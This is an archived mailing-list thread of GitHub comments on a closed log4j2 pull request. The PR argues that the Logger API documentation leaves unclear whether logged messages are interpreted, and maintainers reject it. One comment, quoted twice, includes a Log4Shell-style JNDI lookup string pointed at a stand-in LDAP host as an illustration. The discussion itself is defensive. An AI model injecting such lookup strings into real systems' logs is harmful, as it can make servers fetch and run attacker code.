You are viewing a plain text version of this content. The canonical link for it is here.

Posted to notifications@logging.apache.org by GitBox <gi...@apache.org> on 2021/12/15 15:56:39 UTC

[GitHub] [logging-log4j2] fulldecent opened a new pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

fulldecent opened a new pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630


   # Summary 
   
   The log4j2 API is underspecified and still vulnerable to undefined behavior. Affects all versions up to and including the current 2.16.0.
   
   This quick PR fixes the documentation from its current state of DANGEROUS into the better CORRECT, BUT ANNOYING WITH CAPITAL LETTERS.
   
   # The problem
   
   _I have also discussed this at https://github.com/apache/logging-log4cxx because every implementation is vulnerable and so they should all have defect reports opened on them. And they should all be blocking on this issue (PR) here._
   
   In the API specification, i.e. Logger.java, function documentations include the word "message".
   
   Each time it is unspecified whether that means:
   
   - A "message" (definition in plain English is "some words")
   - A "Message" (an object of the class defined in Message.java, which can have dangerous side-effects)
   - A string that is interpreted magically using some functionality in an unspecified interpolating function (which can have dangerous side-effects)
   
   Of course because of CVE-2021-44228 we all know that this undefined behavior can and has led to dire consequences. And this confusion has still not been fixed.
   
   # Proposed solution
   
   **Rename the "Message" class to "InterpretedMessage"**
   
   The current class named "Message" _still_ includes dangerous functionality including allowing interpolation. That means inputs still need to be sanitized. (There are other vulnerabilities here, less than shell access, which are out of scope for this PR.)
   
   Therefore the name Message is inappropriate, in the same way that naming a machine gun as "Cuddly Cat" is irresponsible.
   
   This should be renamed to InterpretedMessage. This better indicates that the content may be interpreted. And a reasonable programmer at the Balmer Peak will recognize that using InterpretedMessage might require sanitizing the inputs.
   
   To maintain backwards compatibility in the version 2 release series, the existing `Message` class can be a deprecated alias for the new InterpretedMessage.
   
   **Remove all usage of the lowercase, unqualified word "message" from parameter names and documentation**
   
   As per above, the word "message" is dangerously confusing. And for the kinds of people that don't recognize the difference between a lower case "message" and a title case "Message" as referring to two totally different things, we can help them by using better words.
   
   Instead, how about:
   
   ```
   @param text the content to be directly logged, without interpretation
   ```
   
   and 
   
   ```
   @param interpretedText the content to be interpreted via {@code InterpretedMessage} and logged
   ```
   
   **Do not refer to the InterpretedMessage as a "string"**
   
   Currently, function documentation in Logger.java refers to the `Message` object: "the message string to be logged". This is a dangerous way to refer to the Message object.
   
   A message object is not a String, or a string.
   
   Instead, use refer to an InterpretedMessage only using "InterpretedMessage".
   
   **Specify which inputs are interpreted or not**
   
   Currently, the Logger.java specification includes these API signatures for the `debug` functions. This list is exhaustive except for duplicative functions where the first parameter is `Marker marker` or where the trailing parameters are `Object p###` or where the trailing parameter is `Throwable t`:
   
   ```java
   void debug(CharSequence message);
   void debug(Message msg);
   void debug(MessageSupplier msgSupplier);
   void debug(Object message);
   void debug(String message, Object... params);
   void debug(String message, Supplier<?>... paramSuppliers);
   void debug(String message);
   void debug(Supplier<?> msgSupplier);
   ```
   
   In all the functions, only one of them, with documentation read by a VERY attentive and skilled programmer, is specified whether the input is interpreted or not. Can you figure out which one? I won't tell you.
   
   Now just for one example, let's look specifically at the `CharSequence` variant documentation:
   
   ```java
   /**
    * Logs a message CharSequence with the {@link Level#ERROR ERROR} level.
    *
    * @param marker the marker data specific to this log statement.
    * @param message the message CharSequence to log.
    */
   void error(Marker marker, CharSequence message);
   ```
   
   There can be no definitive reading of this specification as to whether the `CharSequence` will be logged as-is, or whether it may be interpreted. This ambivalence is dangerous.
   
   # Severity
   
   William Entriken / https://phor.net / 2021-12-15
   
   It is my opinion that logging is an important part of retrospective analysis of security incidents. And therefore any underspecified behavior in a logging library (including the above) which is vulnerable to threat actor manipulation is automatically a high-impact vulnerability.
   
   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] remkop removed a comment on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

remkop removed a comment on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-997062659

Thank you for your analysis and writeup.

I can understand how there can be potential confusion between a call to `logger.debug(String)`, `logger.debug(Object)` and `logger.debug(Message)`.

It is key to understand that internally, Log4j processes `Message` objects.

- So, if an application passes in a String, Log4j will turn this into a Message, which becomes one of the properties of the LogEvent which is then further processed.
- If an application passes in a Message object, great, there is no need to turn it into a Message, Log4j can just put it in the LogEvent and process that.
- If an application passes in an Object, Log4j check if it is already a Message, or whether it needs to be wrapped in a Message, before putting it in the LogEvent and process that.

Your comment mentions the following:

> Currently, function documentation in Logger.java refers to the Message object: "the message string to be logged". This is a dangerous way to refer to the Message object.

I am not clear about which danger you are referring to here, but I agree that this javadoc is factually incorrect. However, your PR does not address this. In the PR, the Javadoc is now `@param msg the Message string to be logged`, so the word "Message" is capitalized, but it still says "string" where it should say object.

Also, the proposed Javadoc in the PR now looks like this:
`@param message the message CharSequence to log. THIS MAY OR MAY NOT BE INTERPRETED AS A MESSAGE OBJECT`
If you want your PR to be merged, please improve this. This is not helpful text for the readers of the documentation.
I would expect anyone contributing a PR to read the code, figure out whether it is interpreted as a `Message` object or not, and under which circumstances, and then document that. That would be a helpful improvement of the documentation for users of the library. As it stands, this cannot be merged.

> Rename the "Message" class to "InterpretedMessage"

Regardless of whether there is actually a problem here, this proposed solution is a non-starter, because it would break backwards compatibility. `Message` is an interface with many different implementations. It cannot be renamed.
Furthermore, from a design point of view, it is not the responsibility of the `Message` interface to determine whether implementations should interpret or not.

> Specify which inputs are interpreted or not

I think this is your key point.
(That said, I am still not 100% sure what you mean by "interpreted". I will take "interpreted" to mean that "lookup strings embedded in the message string are interpolated". Please correct me if I misunderstood.)

The short answer is, "it depends".

Whether lookup strings embedded in the message string are interpreted or not depends on the configuration, and therefore cannot be specified in the API documentation.

Some layouts do not interpret lookups. PatternLayout does (or did, until 2.15). Also, this behaviour can be controlled with system properties and environment variables. There may be some flaws in the implementation of this control mechanism, but the principle remains that this behaviour is configurable and cannot be specified in the API documentation.

Again, thank you for your analysis and writeup.
The design of Log4j is that much of the behaviour is controlled via configuration and can therefore not be specified in the API documentation.

**To clarify, from 2.16 lookups in message are no longer interpolated.**

--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] mikkorantalainen commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

mikkorantalainen commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039259530

> I am also inclined to avoid convoluting the API with implementation details. Messages are safe, it is how the implementation deals with them which makes them unsafe.

So, are you arguing that all features that interpret the message string and modify it or create alternative message before logging should be removed?

Message can be safe if and only if it's always handled as data only. Otherwise it's some kind of command and it should not include unfiltered data as a whole or in part from any untrusted source (e.g. user input).

An API should define if the message is trusted or untrusted. This is no different from `printf()` first parameter being trusted string and it must not contain untrusted string as a whole or in part. In case of `printf()` the only safe way to print untrusted string is `printf("%s", untrusted_string_from_user)`. Specifically, `printf(untrusted_string_from_user)` is always unsafe code. The Log4j2 API fails to define clear rules for the expected API implementations, specifically it should define if executing following code is safe or not:

debug("${progname} foo ${jndi:ldap://example.com/a} bar");

If the API spec is not broken, you should be able to tell if this usage is safe code or not. The correct answer cannot be "it depends on the implementation" because the user of the API (the above line of code) should be promised something or the API is not worth using.

If the API definition says that the argument is message data only, the above code is okay and the implementation that decided to connect to remote host was buggy (not just incorrectly configured, it cannot fulfill this API by definition). This API cannot opt for "implementation defined" here because there's no safe way to emit any untrusted data to such an API and probably no safe way to use it with any data at all, because the implementation might trigger nuclear attack on any input and still be fully compatible with such an "implementation defined" API spec.

And the API spec should say this explicitly or future programmers will make all the same mistakes.

--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] fulldecent commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

fulldecent commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039618532


   @vy The mailing list post you cite argues that "API isn't intended to be interpreted..."
   
   Therefore, Log4j2 is still underspecified.
   
   That is the subject of this issue, please reopen the issue so this discussion can continue in the open rather than as a buried closed issue.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] mikkorantalainen commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

mikkorantalainen commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039259530

> I am also inclined to avoid convoluting the API with implementation details. Messages are safe, it is how the implementation deals with them which makes them unsafe.

So, are you arguing that all features that interpret the message string and modify it or create alternative message before logging should be removed?

debug("${progname} foo ${jndi:ldap://example.com/a} bar");

And the API spec should say this explicitly or future programmers will make all the same mistakes.

--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] remkop edited a comment on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

remkop edited a comment on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-997062659

Thank you for your analysis and writeup.

I can understand how there can be potential confusion between a call to `logger.debug(String)`, `logger.debug(Object)` and `logger.debug(Message)`.

It is key to understand that internally, Log4j processes `Message` objects.

Your comment mentions the following:

> Currently, function documentation in Logger.java refers to the Message object: "the message string to be logged". This is a dangerous way to refer to the Message object.

> Rename the "Message" class to "InterpretedMessage"

> Specify which inputs are interpreted or not

The short answer is, "it depends".

Whether lookup strings embedded in the message string are interpreted or not depends on the configuration, and therefore cannot be specified in the API documentation.

Again, thank you for your analysis and writeup.
The design of Log4j is that much of the behaviour is controlled via configuration and can therefore not be specified in the API documentation.

**To clarify, from 2.16 lookups in message are no longer interpolated.**

--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] garydgregory commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

garydgregory commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039676373


   I agree with all of @rgoers 's points.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] fulldecent commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

fulldecent commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-998791311


   The Messages are NOT strings nor are they "messages". 
   
   The specification is wrong and therefore it is vulnerable. Sometimes it is shell-code vulnerable but definitely at a minimum it is always not-logging-as-expected vulnerable. 
   
   I am still working on this PR and there are hundreds of changes required. Please reopen. 
   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] fulldecent commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

fulldecent commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-996338330


   There can be good and bad arguments for any name choice. I've made my recommendation and the final decision is above my pay grade. 
   
   But I think we can agree that the current `Message` is dangerous, not expressive, and must be changed. 


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] garydgregory commented on a change in pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

garydgregory commented on a change in pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#discussion_r770718080



##########
File path: log4j-api/src/main/java/org/apache/logging/log4j/Logger.java
##########
@@ -137,7 +137,7 @@
      * Logs a message CharSequence with the {@link Level#DEBUG DEBUG} level.
      *
      * @param marker the marker data specific to this log statement
-     * @param message the message CharSequence to log.
+     * @param message the message CharSequence to log. THIS MAY OR MAY NOT BE INTERPRETED AS A MESSAGE OBJECT

Review comment:
       -1 on the UPPER CASE SHOUTING. In addition, the text is not really helpful, it does not tell you why this might matter.




-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] vy commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

vy commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-998746689


   As @jvz noted in the mailing list:
   
   > I'll note here that the messages API isn't intended to be interpreted
   > the way that CVE-2021-44228 allowed. Messages are supposed to be used
   > for more structured logging such as map-based messages or syslog
   > messages and are used in audit logging. In this regard, messages are
   > intended to be safe and any deviation from that is considered a bug
   > (or security vulnerability if it affects the CIA triad).
   
   I am also inclined to avoid convoluting the API with implementation details. _Messages_ are safe, it is how the implementation deals with them which makes them unsafe.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] carterkozak commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

carterkozak commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-998837161


   I believe there's (understandably) some confusion here. @fulldecent can you please provide a minimal unit-test against the release-2.x branch, or otherwise using the 2.17.0 release, which exemplifies the problem that you'd like to solve? I believe that will help us get onto the same page. Thanks!


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] fulldecent commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

fulldecent commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039618532


   @vy The mailing list post you cite argues that "API isn't intended to be interpreted..."
   
   Therefore, Log4j2 is still underspecified.
   
   That is the subject of this issue, please reopen the issue so this discussion can continue in the open rather than as a buried closed issue.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] rgoers commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

rgoers commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039639817


   1. This is a pull request not an issue. If you wanted an issue you would need to use Jira.
   2. This is not even close to being a vulnerability. In no world has a vulnerability ever been classified as one from documentation alone. 
   3. I agree there are inconsistencies in the the use of "message" vs Message and I would be willing to accept a PR that just addresses that.
   4. The sentence added in caps is alarmist. We fully document that Log4j uses Message objects and that strings and objects passed in will be converted to the appropriate ones. There is no need for shouting here as that is fully expected behavior for anyone who has read the documention.
   5. Under no circumstances would we ever rename Message to something else. That would break binary compatibility in the most horrible way.
   In short, this PR is rightfully closed as we cannot accept it as is and it is quite clear you have no desire to treat this as the minor javadoc fix it is.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] remkop edited a comment on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

remkop edited a comment on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-997062659

Thank you for your analysis and writeup.

I can understand how there can be potential confusion between a call to `logger.debug(String)`, `logger.debug(Object)` and `logger.debug(Message)`.

It is key to understand that internally, Log4j processes `Message` objects.

Your comment mentions the following:

> Currently, function documentation in Logger.java refers to the Message object: "the message string to be logged". This is a dangerous way to refer to the Message object.

I am not convinced about the danger, but I agree that this javadoc is factually incorrect. However, your PR does not address this. In the PR, the Javadoc is now `@param msg the Message string to be logged`, so the word "Message" is capitalized, but it still says "string" where it should say object.

> Rename the "Message" class to "InterpretedMessage"

> Specify which inputs are interpreted or not

The short answer is, "it depends".

Whether lookup strings embedded in the message string are interpreted or not depends on the configuration, and therefore cannot be specified in the API documentation.

Some layouts do not interpret lookups. PatternLayout does. Also, this behaviour can be controlled with system properties and environment variables. There may be some flaws in the implementation of this control mechanism, but the principle remains that this behaviour is configurable and cannot be specified in the API documentation.

Again, thank you for your analysis and writeup.
The design of Log4j is that much of the behaviour is controlled via configuration and can therefore not be specified in the API documentation.

--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] garydgregory commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

garydgregory commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-998805145


   " Sometimes it is shell-code vulnerable "
   That is just FUD and actually impossible because Logger is an interface. There is no implementation or behavior here, not even where default methods return constants which are themselves typed as an interface with no-op behavior, so choose your words carefully if you want to be taken seriously. My advice would be to tone down the hyperbole and be thoughtful.
   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] fulldecent commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

fulldecent commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-998868962


   Thank you. Here is a minimal test case.
   
   Here is an implementation, a subclass of log4v2 `Logger` and `Message` classes:
   
   ```
   public error(string message) {
       log_the_string((new Message(message)).getString());
   }
   ```
   
   ```
   class Message {
       Message(string input) {}
       public String getString() {
           return new String("chickens");
       }
   }
   ```
   
   As far as I can see, these two classes fully conform with the per-function specifications in log4j2 `Logger` and `Message` classes as well as all the documentation on the website (which I assume is normative). Additionally, this class includes the additional implementation-specific feature that it turns all log messages into chickens.
   
   Because of the abstraction principle of object-oriented design, it will be acceptable for a client to use either the implementation-specific documentation OR the API documentation. We will choose to use the API documentation, which for `error(string message)` is as follows:
   
   ```java
   /**
    * Logs a message object with the {@link Level#ERROR ERROR} level.
    *
    * @param message the message string to log.
    */
   void error(String message);
   ```
   
   These words have the following meaning:
   
   > Logs a message object (i.e. the string object, i.e. the string object that is the `message` parameter in this function) with the {@link Level#ERROR ERROR} level.
   
   Or more simply:
   
   > Logs the `message` parameter...
   
   But actually this functionality is not what happens. Because a client could be expecting nuclear detonation codes to be logged, but actually chickens are logged.
   
   Logging is an important part of system security, therefore the failure to log the expected string is a security vulnerability.
   
   ---
   
   Here is a possible solution for this documentation which is not vulnerable to this problem:
   
   ```java
   /**
    * Logs a Message object, constructed using {@code textToBeInterpreted}
    * with the {@link Level#ERROR ERROR} level.
    *
    * @param textToBeInterpreted the input to construct the Message object
    */
   void error(String textToBeInterpreted);
   ```
   
   In this case, a client intending to log nuclear detonation codes will know that they must go read the constructor documentation for the `Message` class to fully reason about what this function does.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] garydgregory commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

garydgregory commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039676373


   I agree with all of @rgoers 's points.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] rgoers commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

rgoers commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-1039639817


   1. This is a pull request not an issue. If you wanted an issue you would need to use Jira.
   2. This is not even close to being a vulnerability. In no world has a vulnerability ever been classified as one from documentation alone. 
   3. I agree there are inconsistencies in the the use of "message" vs Message and I would be willing to accept a PR that just addresses that.
   4. The sentence added in caps is alarmist. We fully document that Log4j uses Message objects and that strings and objects passed in will be converted to the appropriate ones. There is no need for shouting here as that is fully expected behavior for anyone who has read the documention.
   5. Under no circumstances would we ever rename Message to something else. That would break binary compatibility in the most horrible way.
   In short, this PR is rightfully closed as we cannot accept it as is and it is quite clear you have no desire to treat this as the minor javadoc fix it is.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] remkop commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

remkop commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-997062659

Thank you for your analysis and writeup.

I can understand how there can be potential confusion between a call to `logger.debug(String)`, `logger.debug(Object)` and `logger.debug(Message)`.

It is key to understand that internally, Log4j processes `Message` objects.

Your comment mentions the following:

> Currently, function documentation in Logger.java refers to the Message object: "the message string to be logged". This is a dangerous way to refer to the Message object.

> Rename the "Message" class to "InterpretedMessage"

> Specify which inputs are interpreted or not

You buried the lede a bit, but I think this is your key point.
(That said, I am still not 100% sure what you mean by "interpreted". I will take "interpreted" to mean that "lookup strings embedded in the message string are interpolated". Please correct me if I misunderstood.)

The short answer is, "it depends".

Whether lookup strings embedded in the message string are interpreted or not depends on the configuration, and therefore cannot be specified in the API documentation.

Again, thank you for your analysis and writeup.
The design of Log4j is that much of the behaviour is controlled via configuration and can therefore not be specified in the API documentation.

--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] mikkorantalainen commented on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

mikkorantalainen commented on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-996316597


   I think InterpretedMessage would be problematic, too, because it can be understood as "message to be interpreted in the future" or "message that has already been interpreted".
   
   I think better terminology would be trustedMessage vs untrustedMessage where it would be hopefully clear that you don't put any string from incoming user input into such a parameter without suitable encoding.


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] remkop edited a comment on pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

remkop edited a comment on pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630#issuecomment-997062659

Thank you for your analysis and writeup.

I can understand how there can be potential confusion between a call to `logger.debug(String)`, `logger.debug(Object)` and `logger.debug(Message)`.

It is key to understand that internally, Log4j processes `Message` objects.

Your comment mentions the following:

> Currently, function documentation in Logger.java refers to the Message object: "the message string to be logged". This is a dangerous way to refer to the Message object.

> Rename the "Message" class to "InterpretedMessage"

> Specify which inputs are interpreted or not

The short answer is, "it depends".

Whether lookup strings embedded in the message string are interpreted or not depends on the configuration, and therefore cannot be specified in the API documentation.

Again, thank you for your analysis and writeup.
The design of Log4j is that much of the behaviour is controlled via configuration and can therefore not be specified in the API documentation.

**To clarify, from 2.16 lookups in message are no longer interpolated.**

--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org

[GitHub] [logging-log4j2] vy closed pull request #630: Log4j2 is still vulnerable and underspecified. This updates documenta…

Posted by GitBox <gi...@apache.org>.

vy closed pull request #630:
URL: https://github.com/apache/logging-log4j2/pull/630


   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org

For queries about this service, please contact Infrastructure at:
users@infra.apache.org